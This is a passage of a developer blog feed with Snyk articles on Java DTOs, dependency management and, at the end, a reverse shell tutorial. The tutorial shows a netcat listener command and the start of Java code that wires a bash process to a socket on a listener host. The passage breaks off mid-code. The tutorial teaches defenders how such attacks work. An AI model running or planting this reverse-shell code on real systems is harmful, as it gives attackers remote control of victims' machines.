&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

@GetMapping("/customers")
public List&amp;lt;Customer&amp;gt; getAllCustomers(){
   return repository.findAll();       
}


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;If our customer object is the same as in our previous example, we are already displaying too much information. Do we actually need the &lt;code&gt;id&lt;/code&gt; or the list of favorite &lt;code&gt;coffees&lt;/code&gt;? It gets worse if we decide to attach more information to the customer, like a home address.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

public class Customer {
   private Long id;
   private String firstName;
   private String lastName;
   private List&amp;lt;Coffee&amp;gt; coffees;
   Private String homeAddress;

}


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;If we don’t filter in our endpoint, we suddenly create a data breach, since providing a full name and home address is considered a privacy breach in many countries. Decoupling the API from the data model with a DTO would have prevented this because the mapper controller would only populate necessary fields in the DTO. Even when we decide to add something to our domain model afterwards, using a DTO prevents us from essentially leaking personally identifiable information.&lt;/p&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

&lt;p&gt;public class CustomerDTO {&lt;br&gt;
   private String firstName;&lt;br&gt;
   private String lastName;&lt;br&gt;
}&lt;/p&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
&lt;br&gt;
  &lt;br&gt;
  &lt;br&gt;
  Recommendations&lt;br&gt;
&lt;/h2&gt;

&lt;p&gt;Using DTOs in Java to decouple subsystems is generally a good idea. From an engineering perspective, it will reduce roundtrips between the different layers and form a security angle it will help prevent accidental data leaks. In terms of security, I would recommend making your DTOs specific and limiting the amount of reuse. If you are reusing your DTOs for different functions, you should clearly understand where these DTO’s are used before changing them.&lt;/p&gt;

&lt;p&gt;In general, keep your DTOs concise, free of business logic if possible, and only provide the data needed for specific functions. Lastly, I believe that immutability is a natural fit for DTOs, making Java Records — which was fully released in Java 16 — a great way to implement DTOs in Java.&lt;/p&gt;

&lt;p&gt;Check out the following resources to learn more about Java security:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://snyk.io/blog/serialization-and-deserialization-in-java/" rel="noopener noreferrer"&gt;Serialization and deserialization in Java: explaining the Java deserialize vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://snyk.io/blog/best-practices-to-build-java-containers-with-docker/" rel="noopener noreferrer"&gt;10 best practices to build a Java container with Docker&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://snyk.io/blog/best-practices-for-managing-java-dependencies/" rel="noopener noreferrer"&gt;Best practices for managing Java dependencies&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://snyk.io/blog/10-java-security-best-practices/" rel="noopener noreferrer"&gt;10 Java security best practices&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://snyk.io/blog/java-logging-what-should-you-log-and-what-not/" rel="noopener noreferrer"&gt;Java logging: what should you log and what not?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Secure your Java code with Snyk
&lt;/h2&gt;

&lt;p&gt;Create a free Snyk account to find and fix vulnerabilities in your Java applications.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://app.snyk.io/login?cta=sign-up&amp;amp;loc=body&amp;amp;page=how-to-use-java-dtos-to-stay-secure" rel="noopener noreferrer"&gt;Sign up for free&lt;/a&gt;&lt;/p&gt;

</description>
      <category>java</category>
      <category>security</category>
      <category>engineering</category>
    </item>
    <item>
      <title>Best practices for managing Java dependencies</title>
      <dc:creator>Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻</dc:creator>
      <pubDate>Fri, 26 Aug 2022 17:34:29 +0000</pubDate>
      <link>https://forem.com/snyk/best-practices-for-managing-java-dependencies-2po6</link>
      <guid>https://forem.com/snyk/best-practices-for-managing-java-dependencies-2po6</guid>
      <description>&lt;p&gt;Creating Java applications is great, and many resources are available. To speed up development, many folks use frameworks and libraries that do some of the heavy lifting. When looking at modern Java applications, almost all of them contain dependencies from libraries developed by someone else.&lt;/p&gt;

&lt;p&gt;Dependencies take up about 80 to 90 percent of the binary — so, we should take good care of them when creating a Java project. In this article, I’ll give you some advice and best practices for dealing with Java dependencies in your project.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Why be more aware of your Java dependencies&lt;/li&gt;
&lt;li&gt;Managing Java dependencies&lt;/li&gt;
&lt;li&gt;Including dependencies in your Java projects&lt;/li&gt;
&lt;li&gt;
Update your Java dependencies &lt;/li&gt;
&lt;li&gt;Removing Java dependencies from your project&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why be more aware of your Java dependencies
&lt;/h2&gt;

&lt;p&gt;When it comes to managing  code contributions, we generally turn to a process like &lt;a href="https://snyk.io/learn/code-review/" rel="noopener noreferrer"&gt;code reviews&lt;/a&gt; for a first-pass quality assurance measure, before merging new code into our main branch. Check out our guide to &lt;a href="https://snyk.io/learn/code-review/java-tools/" rel="noopener noreferrer"&gt;Java code review tools&lt;/a&gt; to learn more. Practicing pair programming is another way to cover this quality control process. &lt;/p&gt;

&lt;p&gt;However, how we treat our dependencies differs greatly from how we treat our own code. On many occasions, dependencies are used without any form of validation. And on many occasions, those top-level dependencies pull in transitive dependencies, which can go multiple levels deep. For example, a 200 line Spring application with five direct dependencies can end up using 60 dependencies in total, which amounts to almost half a million lines of code being shipped to production. &lt;/p&gt;

&lt;p&gt;Updating Java dependencies in legacy projects can be challenging. If they’re outdated, you’ll end up with a domino effect of compatibility issues, and updating a single library might mean updating several because of a &lt;a href="https://snyk.io/learn/security-vulnerability-exploits-threats/" rel="noopener noreferrer"&gt;bug or security issue&lt;/a&gt;. If these Java dependencies change their API, you would need to rewrite your application in full.&lt;/p&gt;

&lt;p&gt;Additionally, in many major enterprise applications, dependencies stay in the manifest file, even if they’re no longer used in the code. These unused dependencies are still available in your program.&lt;/p&gt;

&lt;p&gt;All of this can lead to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Larger binaries that use more resources or start-up time&lt;/li&gt;
&lt;li&gt;Possible collision in libraries when adding new dependencies.&lt;/li&gt;
&lt;li&gt;Outdated libraries that contain bugs or security issues&lt;/li&gt;
&lt;li&gt;Compatibility problems when updating libraries&lt;/li&gt;
&lt;li&gt;And more&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Managing Java dependencies
&lt;/h2&gt;

&lt;p&gt;One of the best practices for significantly using repositories, like Maven Central, is to set up your own repositories manager. This is a dedicated proxy server between your internal development and the public repositories — which will not only gives you faster and more stable builds, but also allows you to set up &lt;a href="https://snyk.io/series/open-source-security/open-source-policy/" rel="noopener noreferrer"&gt;policies&lt;/a&gt; for Java packages. You can, for instance, block certain versions so they cannot be downloaded and used in your applications.&lt;/p&gt;

&lt;p&gt;For more information about repository managers and a list of possible products, take a look at the &lt;a href="https://maven.apache.org/repository-management.html" rel="noopener noreferrer"&gt;Maven documentation&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Including new dependencies in your Java project
&lt;/h2&gt;

&lt;p&gt;When you need to solve a problem, and there is a library available, you’ll likely want to include it in your Java dependency manifest files. However, before including, you should consider:  &lt;/p&gt;

&lt;h3&gt;
  
  
  Does it solve the problem?
&lt;/h3&gt;

&lt;p&gt;The main reason for importing a package is to solve your problem. The question is whether  the dependency you chose can do this. Also, does it solve the whole problem without introducing new challenges? If this isn’t the case, there might be better solutions out there. &lt;/p&gt;

&lt;h3&gt;
  
  
  Do I need the (whole) package?
&lt;/h3&gt;

&lt;p&gt;Is it worth importing a large dependency, with many functions and data types, if you only need a single function? Sometimes, it might be easier and more manageable to write that function yourself. For instance, does it make sense to include entire Eclipse Collections if I only want to use the Tuple data type? Probably not.&lt;/p&gt;

&lt;p&gt;A quick look at &lt;a href="https://mvnrepository.com/" rel="noopener noreferrer"&gt;mvnrepository.com&lt;/a&gt; shows me that this package is about 10MB&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-java-depen-eclipse-main-library.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-java-depen-eclipse-main-library.jpg"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Also, check to see if the dependencies you already have can do the job for you. Some similar functions or data types might already be available. On the other hand, including a new, extensive library can help you solve multiple problems at once — it all depends on the situation.&lt;/p&gt;

&lt;h3&gt;
  
  
  How many contributors are there?
&lt;/h3&gt;

&lt;p&gt;We have a pretty low bus factor if the Java dependency you use has only one or just a few maintainers. What happens if the maintainer decides to quit, or doesn’t have time to fix a bug? Alternatively, you might also choose to contribute to the project yourself — making it more secure for everyone involved.&lt;/p&gt;

&lt;p&gt;But, before including any dependencies in your project, be sure to check the core repository and see how many active maintainers there are. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-java-depen-github-contributors-2048x214.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-java-depen-github-contributors-2048x214.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Is it still maintained?
&lt;/h3&gt;

&lt;p&gt;If a package is no longer maintained you definitely do not want to rely on it. Before integrating a package, check if there are new pushes on the GitHub repository, and take a look at the release cycle of a package. This will give you an idea of how well maintained the package is.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-java-depen-2-hrs.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-java-depen-2-hrs.jpg"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the latest version of the package?
&lt;/h3&gt;

&lt;p&gt;Code examples can give you great insight on a particular Java dependency. However, these examples might be outdated, and the intended package might already be updated. Consider using the latest stable version. For Eclipse Collections, we see that the latest stable release is 11.1.0 from July 5, 2022 on mvnpackage.com. Consider using that version.&lt;/p&gt;

&lt;p&gt;Note that the 11.1.0.M2 is also listed in this image. This is clearly a pre-release version. You should only include stable release versions in your production application unless you are absolutely sure. As a rule of thumb, please do not include versions that have a qualifier, like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;alpha or a&lt;/li&gt;
&lt;li&gt;beta or b&lt;/li&gt;
&lt;li&gt;milestone or m&lt;/li&gt;
&lt;li&gt;rc or cr&lt;/li&gt;
&lt;li&gt;snapshot&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If a Java dependency has the qualifier GA or final, you can generally consider it a stable release version.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-java-depen-central-1240x615.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-java-depen-central-1240x615.jpg"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Are there any security vulnerabilities?
&lt;/h3&gt;

&lt;p&gt;Before you actively depend on a Java package, make sure you &lt;a href="https://snyk.io/learn/vulnerability-scanner/" rel="noopener noreferrer"&gt;scan it for known vulnerabilities&lt;/a&gt;. The Snyk CLI is a great tool for scanning your Maven or Gradle file. If your library contains a security vulnerability, you might want to pick another package to depend on.&lt;/p&gt;

&lt;h2&gt;
  
  
  Update your Java dependencies
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Are there newer versions available?
&lt;/h3&gt;

&lt;p&gt;You don’t want to manually check every Java dependency you have to see if newer versions are available. Luckily, there are easier ways to do this. By using plugins in your package manager you can automatically verify your dependencies as often as you’d like — in every build, for example. &lt;/p&gt;

&lt;p&gt;Be aware that your tools might point you to beta or pre-release versions. It is highly advised that you only use stable release versions of a library.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Maven example&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
In Maven, you can use the versions plugin like below. No need to put anything specific in your pom.xml&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

mvn versions:display-dependency-updates


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-java-depen-maven-plugin.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-java-depen-maven-plugin.jpg"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Gradle example&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
For Gradle, we have to include a plugin like the versions plugin from ben-manes.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

plugins {
  id "com.github.ben-manes.versions" version "0.42.0"
}


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Now we can run a similar command to display newer versions of your libraries.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

gradle dependencyUpdates -Drevision=release


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-java-depen-project-dep-update.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-java-depen-project-dep-update.jpg"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;IntelliJ IDEA&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you are using IntelliJ IDEA, then the newer versions will underline the dependencies that can be updated. This works for both Maven and Gradle projects.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-java-depen-group-id-pkg.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-java-depen-group-id-pkg.jpg"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Snyk&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When connecting your GitHub repository to your Snyk account, we can provide you with recommended fixes or updates at every pull request. This, in addition to our comprehensive security advice, can help you keep your Java dependencies up to date.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-java-depen-snyk-ui-1240x804.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-java-depen-snyk-ui-1240x804.jpg"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Are the packages you use still maintained?
&lt;/h3&gt;

&lt;p&gt;It is wise to revisit the GitHub repo, or mvnpackage.com, to see if there are recent updates and commits. If it looks like a package is no longer well maintained, you can choose to maintain it yourself or migrate to another,  better updated, library.&lt;/p&gt;

&lt;p&gt;However, if you encounter a problem with a dependency that’s critical to your application, consider fixing the problem yourself and contributing that fix to the open-source project. This will be greatly appreciated — and often quicker than submitting issue reports and pushing the maintainer to fix the problem. &lt;/p&gt;

&lt;h3&gt;
  
  
  Are there security issues with my Java dependencies?
&lt;/h3&gt;

&lt;p&gt;Even if your application is free from vulnerabilities now, it doesn’t mean it will stay that way forever. New vulnerabilities and exploits are discovered and disclosed on a daily bases. This means that you need to rescan your libraries regularly to ensure they remain vulnerability free.&lt;/p&gt;

&lt;p&gt;Snyk provides you multiple ways to integrate dependency scanning in your &lt;a href="https://snyk.io/learn/secure-sdlc/" rel="noopener noreferrer"&gt;development lifecycle&lt;/a&gt;. On your local machine you can use the &lt;a href="https://snyk.io/blog/snyk-cli-cheat-sheet/" rel="noopener noreferrer"&gt;Snyk CLI&lt;/a&gt;, or the integrations for IntelliJ, Eclipse, or VS Code to scan for vulnerabilities. You can also scan during your build cycle with the Maven and Gradle (unofficial) plugin, or choose one of the CI pipeline integrations. Alternatively, you can add your Git repository to Snyk, so we can scan and update your projects for you on a daily basis.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-java-depen-snyk-vuln-report-1240x1036.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-java-depen-snyk-vuln-report-1240x1036.jpg"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Removing Java dependencies from your project
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Is the package still in use?
&lt;/h3&gt;

&lt;p&gt;If a Java dependency is not used anymore, we should remove it from our manifest file. Every package in that file is part of your binary and available on the classpath. Removing unused dependencies will make your binary smaller — and lead to faster startup and download times in addition to better security. Minimizing the dependencies on your classpath is critical to protecting against attacks like a &lt;a href="https://snyk.io/blog/serialization-and-deserialization-in-java/" rel="noopener noreferrer"&gt;deserialization gadget chain&lt;/a&gt;.  &lt;/p&gt;

&lt;p&gt;A clean desk policy — or in this case a clean app policy — is always highly advisable. Luckily, your package managers can help you with identifying these unused Java dependencies. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Maven example&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For Maven I can use the&lt;a href="https://maven.apache.org/plugins/maven-dependency-plugin/analyze-mojo.html" rel="noopener noreferrer"&gt;dependency plugin&lt;/a&gt; to analyze my dependencies. This plugin checks if the Java dependencies I declare are also used in my code.&lt;/p&gt;

&lt;p&gt;In this case, I do not want to get bothered by provided or test dependencies, so I use the ignoreNonCompile flag.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

mvn dependency:analyze -DignoreNonCompile


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-java-depen-warning-unused.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-java-depen-warning-unused.jpg"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Gradle example&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In Gradle we need to add another plugin to analyze dependencies. In this case, we’ll use the nebula.lint plugin. This Gradle linter can analyze the java dependencies you included and see if there are unused dependencies. &lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

plugins {
   id "nebula.lint" version "17.7.0"
}


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;I have to configure the plugin accordingly to set the &lt;code&gt;gradleLint.rules&lt;/code&gt;. You can do this in your Gradle file, or as a command line parameter. In the example below, I choose the latter. Check the plugin &lt;a href="https://github.com/nebula-plugins/gradle-lint-plugin/wiki" rel="noopener noreferrer"&gt;documentation&lt;/a&gt; for more information on how to configure this plugin for your application.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

gradle lintGradle -PgradleLint.rules=unused-dependency


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-java-depen-lint-violation.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-java-depen-lint-violation.jpg"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Create a solid dependency management strategy for your Java applications
&lt;/h2&gt;

&lt;p&gt;When developing Java applications and using dependencies like libraries or frameworks, it’s wise to create a strategy for how to handle them. Knowing how to select, update, and remove java dependencies from our application is essential for security. By creating a clear strategy, we prevent surprises when a high priority security issue requires us to update a package.&lt;/p&gt;

&lt;p&gt;Check out &lt;a href="https://snyk.io/series/open-source-security/software-dependencies/" rel="noopener noreferrer"&gt;this article to learn more about managing open source dependencies&lt;/a&gt;. &lt;/p&gt;

&lt;h2&gt;
  
  
  Secure your dependencies for free
&lt;/h2&gt;

&lt;p&gt;Create a Snyk account today for effortless scanning and secure dependencies.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://app.snyk.io/login?cta=sign-up&amp;amp;loc=body&amp;amp;page=best-practices-for-managing-java-dependencies" rel="noopener noreferrer"&gt;Sign up for free&lt;/a&gt;&lt;/p&gt;

</description>
      <category>applicationsecurity</category>
      <category>opensource</category>
      <category>java</category>
      <category>security</category>
    </item>
    <item>
      <title>What is a reverse shell attack?!</title>
      <dc:creator>Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻</dc:creator>
      <pubDate>Tue, 23 Aug 2022 21:18:12 +0000</pubDate>
      <link>https://forem.com/snyk/taking-control-of-your-server-with-a-reverse-shell-attack-3mdg</link>
      <guid>https://forem.com/snyk/taking-control-of-your-server-with-a-reverse-shell-attack-3mdg</guid>
      <description>&lt;p&gt;Creating and running an application in your favorite language is usually pretty simple. After you create your application, deploying it and showing it to the world is also quite straightforward. The last thing you need is someone to take over your system and fully control your brand new application. In this article, I'll explain how this can happen with a remote shell attack.&lt;/p&gt;

&lt;p&gt;Note that the code examples in this article are for educational purposes only. I mainly try to explain what a remote shell attack is and how it can occur in your applications. Using this or any other example to hack someone is not advised. In most countries, hacking without the consent of the target is illegal, even if you have the best intentions.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is a reverse shell?
&lt;/h2&gt;

&lt;p&gt;A reverse shell (or connect-back shell) is a shell session initiated by the target machine to a remote host. The target machine opens the session to a specific host and port. A shell connection can be created if the remote host listens on that port with the appropriate software. It's important to note that the initiation is done by the target machine,not the remote host.&lt;/p&gt;

&lt;p&gt;With a remote shell attack, an attacker tries to make the victim machine initiate such a connection. The attack can establish interactive shell access (basically a terminal) and take over the victim machine.&lt;/p&gt;

&lt;h2&gt;
  
  
  How does a reverse shell attack happen?
&lt;/h2&gt;

&lt;p&gt;In most cases, a reverse shell attack happens when an application is vulnerable to a remote code execution vulnerability. An attacker uses such a &lt;a href="https://snyk.io/learn/security-vulnerability-exploits-%20threats/" rel="noopener noreferrer"&gt;vulnerability&lt;/a&gt; in an application to execute some code on the victim's machine that initiates the shell session. Without knowing it, the victim creates a connection and the attacker only has to listen for incoming connections on the correct port. Once the connection is established, the attacker has shell access to the victim and does all sorts of exciting things.&lt;/p&gt;

&lt;p&gt;Think of it like a tennis ball. If you throw it at something hard, it will come back at you. You only need to catch it at the right place and time.&lt;/p&gt;

&lt;h2&gt;
  
  
  Making a reverse shell connection
&lt;/h2&gt;

&lt;p&gt;To create a reverse shell, you have multiple options depending on your language. However, before executing this reverse shell code, we need to make sure that we listen to the correct port for incoming connections.&lt;/p&gt;

&lt;h3&gt;
  
  
  Listening for incoming connections using netcat
&lt;/h3&gt;

&lt;p&gt;A great tool to do this is netcat. Netcat (often abbreviated to nc) is a computer networking utility for reading from and writing to network connections using &lt;a href="https://en.wikipedia.org/wiki/Transmission_Control_Protocol" rel="noopener noreferrer"&gt;TCP&lt;/a&gt; or &lt;a href="https://en.wikipedia.org/wiki/User_Datagram_Protocol" rel="noopener noreferrer"&gt;UDP&lt;/a&gt;. On the machine you want the reverse shell to connect to, you can use netcat to listen to incoming connections on a specific port. The example below shows how to make netcat listen to port 9001. Note that the v parameter is not strictly needed, but it gives me a nice verbose output.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;nc -lvp 9001&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Execute a reverse shell in Python, Java or Node.js
&lt;/h2&gt;

&lt;p&gt;Let's discuss two approaches to setting up a reverse shell. Both examples are suitable for systems that have the bash shell installed.&lt;/p&gt;

&lt;h3&gt;
  
  
  Method 1: Programmatically
&lt;/h3&gt;

&lt;p&gt;The first method is programmatic action where we start up a shell. Next, we create a socket connection to the remote computer with the appropriate IP address and port.&lt;/p&gt;

&lt;p&gt;Lastly, we connect the file descriptors (input, output and error) from the shell to the newly created socket connection.&lt;/p&gt;

&lt;p&gt;Java:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
       &lt;span class="nc"&gt;Process&lt;/span&gt; &lt;span class="n"&gt;process&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ProcessBuilder&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"bash"&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;redirectErrorStream&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;start&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
       &lt;span class="nc"&gt;Socket&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Socket&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"127.0.0.1"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9001&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
       &lt;span class="nc"&gt;InputStream&lt;/span&gt; &lt;span class="n"&gt;pInput&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInputStream&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
